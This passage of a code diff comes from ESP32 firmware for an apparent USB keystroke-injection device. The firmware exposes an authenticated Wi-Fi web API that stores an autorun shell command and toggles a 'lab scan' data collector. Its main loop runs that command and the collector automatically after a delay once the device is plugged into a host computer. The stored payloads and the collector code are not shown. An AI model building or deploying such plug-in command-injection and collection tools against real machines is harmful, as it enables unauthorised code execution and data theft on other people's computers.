server.sendContent("\r\n\r\n[Screenshot: download screen.png separately]\r\n");
server.client().stop();
});
server.on("/api/config", HTTP_GET, []() {
if (!requireAuth()) return;
char buf[320];
String safeCmd = g_autorun.cmd;
safeCmd.replace("\\", "\\\\");
safeCmd.replace("\"", "\\\"");
snprintf(buf, sizeof(buf),
"{\"enabled\":%s,\"lab_scan_on_plug\":%s,\"delay\":%d,\"shell\":\"%s\",\"cmd\":\"%s\"}",
g_autorun.enabled ? "true" : "false",
g_autorun.lab_scan_on_plug ? "true" : "false",
g_autorun.delay_ms,
g_autorun.shell,
safeCmd.c_str());
sendJson(200, buf);
});
server.on("/api/config", HTTP_POST, []() {
if (!requireAuth()) return;
String en = server.hasArg("enabled") ? server.arg("enabled") : "0";
g_autorun.enabled = (en == "1" || en == "true");
if (server.hasArg("lab_scan_on_plug"))
{
String ls = server.arg("lab_scan_on_plug");
g_autorun.lab_scan_on_plug = (ls == "1" || ls == "true");
}
if (server.hasArg("delay"))
{
int d = server.arg("delay").toInt();
g_autorun.delay_ms = (d < 500 || d > 15000) ? 3500 : d;
}
if (server.hasArg("shell"))
{
String shell = server.arg("shell");
if (!isAllowedShell(shell))
{
sendJson(400, "{\"ok\":false,\"err\":\"invalid shell\"}");
return;
}
strncpy(g_autorun.shell, shell.c_str(), sizeof(g_autorun.shell) - 1);
g_autorun.shell[sizeof(g_autorun.shell) - 1] = '\0';
}
if (server.hasArg("cmd"))
{
strncpy(g_autorun.cmd, server.arg("cmd").c_str(), sizeof(g_autorun.cmd) - 1);
g_autorun.cmd[sizeof(g_autorun.cmd) - 1] = '\0';
}
bool ok = config_save();
sendJson(ok ? 200 : 500, ok ? "{\"ok\":true}" : "{\"ok\":false,\"err\":\"flash write failed\"}");
});
server.onNotFound([]() {
server.send(404, "text/plain", "Not found");
});
server.begin();
}

View File

@@ -0,0 +1,10 @@
#ifndef WIFI_SERVER_H
#define WIFI_SERVER_H
#include <WebServer.h>
extern WebServer server;
void setup_WiFi();
#endif

88
src/main.cpp Normal file
View File

@@ -0,0 +1,88 @@
#include "components/exescript.h"
#include "components/rgb_control.h"
#include "components/wifi_server.h"
#include "components/config_store.h"
#include "components/collector.h"
#include "components/flash_fs.h"
extern bool check_delay;
static volatile bool s_just_connected = false;
static volatile bool s_just_disconnected = false;
static bool s_connected = false;
static unsigned long s_conn_time = 0;
static bool s_ar_fired = false;
static bool s_lab_scan_fired = false;
static unsigned long s_lab_scan_at = 0;
static void usb_event_cb(void * /*arg*/, esp_event_base_t /*base*/,
int32_t event_id, void * /*data*/)
{
if (event_id == ARDUINO_USB_RESUME_EVENT)
s_just_connected = true;
else if (event_id == ARDUINO_USB_SUSPEND_EVENT)
s_just_disconnected = true;
}
void setup()
{
flash_fs_init();
config_load();
rgb_init();
USB.onEvent(usb_event_cb);
setup_usb();
setup_WiFi();
}
void loop()
{
server.handleClient();
if (s_just_connected)
{
s_just_connected = false;
s_connected = true;
s_conn_time = millis();
s_lab_scan_at = 0;
if (g_autorun.lab_scan_on_plug)
{
unsigned long extra = g_autorun.enabled ? 4000UL : 0UL;
s_lab_scan_at = s_conn_time + (unsigned long)g_autorun.delay_ms + extra;
}
led_blink(255, 64, 0, false);
}
if (s_just_disconnected)
{
s_just_disconnected = false;
s_connected = false;
s_ar_fired = false;
s_lab_scan_fired = false;
s_lab_scan_at = 0;
}
if (g_autorun.enabled && s_connected && !s_ar_fired)
{
if (millis() - s_conn_time >= (unsigned long)g_autorun.delay_ms)
{
s_ar_fired = true;
led_blink(255, 0, 0, true);
autorun_execute();
led_idle(0, 1, 0);
}
}
if (g_autorun.lab_scan_on_plug && s_connected && !s_lab_scan_fired && s_lab_scan_at > 0)
{
if (millis() >= s_lab_scan_at)
{
s_lab_scan_fired = true;
collect_lab_scan();
}
}
if (check_delay)
delay(200);
}